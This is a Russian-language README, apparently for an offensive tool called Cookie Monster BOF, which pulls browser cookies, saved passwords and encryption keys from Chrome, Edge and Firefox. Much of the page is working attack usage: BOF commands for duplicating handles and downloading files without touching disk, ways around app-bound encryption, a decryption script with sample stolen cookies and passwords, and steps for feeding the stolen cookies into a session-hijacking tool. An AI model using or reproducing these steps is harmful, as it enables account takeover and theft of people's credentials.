Кража куки-файлов браузера для Edge, Chrome и Firefox через BOF!

Cookie Monster BOF извлекает главный ключ WebKit и ключ шифрования привязки приложения (App Bound Encryption Key) для Edge и Chrome, находит процесс браузера, имеющий дескриптор файлов Cookies и Login Data, копирует дескриптор(ы) и затем безфайлово загружает целевой(е) файл(ы).

После загрузки файлов Cookies/Login Data с помощью Python-скрипта дешифрования можно извлечь эти секреты! Модуль Firefox парсит profiles.ini и определяет местоположение файлов logins.json и key4.db, после чего загружает их. Для офлайн-дешифрования есть ссылка на отдельный репозиторий GitHub.

Обновления Chrome и Edge 127+: новые куки-файлы Chromium (v20) используют ключ привязки приложения для шифрования. В результате получить app_bound_encrypted_key становится немного сложнее. Благодаря snovvcrash этот процесс можно выполнить без повышения привилегий. Нюанс в том, что ваш процесс должен быть запущен из каталога приложения веб-браузера, т.е. необходимо внедриться в Chrome/Edge или запустить beacon из того же каталога приложения, что и браузер.

Дешифрование куки-файлов от имени SYSTEM и без внедрения в процесс браузера! Особая благодарность @sdemius за обнаружение способа дешифрования функции Chrome PostProcessData и @b1scoito за объяснение! Chrome 137+ снова изменил функцию PostProcessData(), спасибо @runassu за разбор!

Последнее обновление добавило дешифрование главного ключа WebKit благодаря @M1ndo. Главный ключ автоматически дешифруется вместе с ключом привязки приложения. Чтобы использовать его, добавьте ключ в Python-скрипт дешифрования. В основном этот ключ используется при использовании роуминговых профилей, сохранённых паролях в Edge или старых сохранённых паролях.

Использование BOF

Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"] 
cookie-monster Examples: 
   cookie-monster --chrome 
   cookie-monster --edge
   cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
   cookie-moster --firefox 
   cookie-monster --chromeCookiePID <PID>
   cookie-monster --chromeLoginDataPID <PID> 
   cookie-monster --edgeCookiePID <PID> 
   cookie-monster --edgeLoginDataPID <PID> 
cookie-monster Options: 
    --chrome, просматривает все запущенные процессы и дескрипторы; если найден chrome.exe, копирует дескриптор на куки-файл и затем копирует файл в текущую рабочую директорию 
    --edge, просматривает все запущенные процессы и дескрипторы; если найден msedge.exe, копирует дескриптор на куки-файл и затем копирует файл в текущую рабочую директорию 
    --system, дешифрует ключ шифрования привязки приложения на основе Chromium без внедрения в браузер. Требуется путь к файлу Local State и PID пользовательского процесса для олицетворения 
    --firefox, ищет profiles.ini и определяет местоположение файлов key4.db и logins.json 
    --chromeCookiePID, если указан PID Chrome, ищет указанный процесс с известным дескриптором на куки-файлы; укажите PID для дублирования его дескриптора и файла 
    --chromeLoginDataPID, если указан PID Chrome, ищет указанный процесс с известным дескриптором на Login Data; укажите PID для дублирования его дескриптора и файла   
    --edgeCookiePID, если указан PID Edge, ищет указанный процесс с известным дескриптором на куки-файлы; укажите PID для дублирования его дескриптора и файла 
    --edgeLoginDataPID, если указан PID Edge, ищет указанный процесс с известным дескриптором на Login Data; укажите PID для дублирования его дескриптора и файла  
    --key-only, только получить ключ шифрования привязки приложения. Не загружать файлы Cookie или Login Data. 
    --cookie-only, только получить файл Cookie. Не загружать файл Login Data или получать ключ шифрования привязки приложения. 
    --login-data-only, только получить файл Login Data. Не загружать файл Cookie или получать ключ шифрования привязки приложения.  
    --copy-file, копирует файлы Cookie и Login Data в указанную папку. Не использует безфайловый метод получения.

Компиляция BOF

Убедитесь, что Mingw-w64 и make установлены в Linux перед компиляцией.

make

Шаги по дешифрованию

Установка зависимостей

pip3 install -r requirements.txt

Использование

python3 decrypt.py -h                                                                                                                                                                      
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]

Decrypt Chromium cookies and passwords given a key and DB file

options:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Decryption key
  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
                        Option to choose
  -f FILE, --file FILE  Location of the database file
  --chrome-aes-key CHROME_AES_KEY
                        Chrome AES Key
  -mk MASTER_KEY, --master-key MASTER_KEY
                        Old key used in v10 passwords

Примеры: Дешифрование файла куки-файлов Chrome/Edge

python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

Дешифрование куки-файлов Chrome с ключом Chrome AES

python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json

Дешифрование файла куки-файлов Chrome/Edge и сохранение в json

python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json

Импортируйте JSON-файл куки-файлов с помощью https://cookie-editor.com/

Дешифрование файла паролей Chrome/Edge

python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'

URL: https://test.com/
Username: adgf
Password: pass

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

Дешифрование куки-файлов и сохранённых учётных данных Firefox:
https://github.com/lclevy/firepwd

Поддержка CuddlePhish

Добавлена опция cuddlephish в скрипт дешифрования, которая должна поддерживать использование куки-файлов с https://github.com/fkasler/cuddlephish

# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db

# Clone Project
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish

# Install Dependencies Example on Debian 
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install

# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json

Ссылки

Этот проект не мог бы быть выполнен без помощи Mr-Un1k0d3r и его замечательных сезонных видео! Настоятельно рекомендую ознакомиться с его уроками!!!
Извлечение главного ключа WebKit для куки-файлов: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
Безфайловая загрузка: https://github.com/fortra/nanodump
Дешифрование куки-файлов и Login Data: https://github.com/login-securite/DonPAPI
Дешифрование ключа привязки приложения: https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Дешифрование куки-файлов Chrome 137+ https://github.com/runassu/chrome_v20_decryption

cookie-monster

Популярное

Cookie-Monster-BOF

Использование BOF

Компиляция BOF

Шаги по дешифрованию

Поддержка CuddlePhish

Ссылки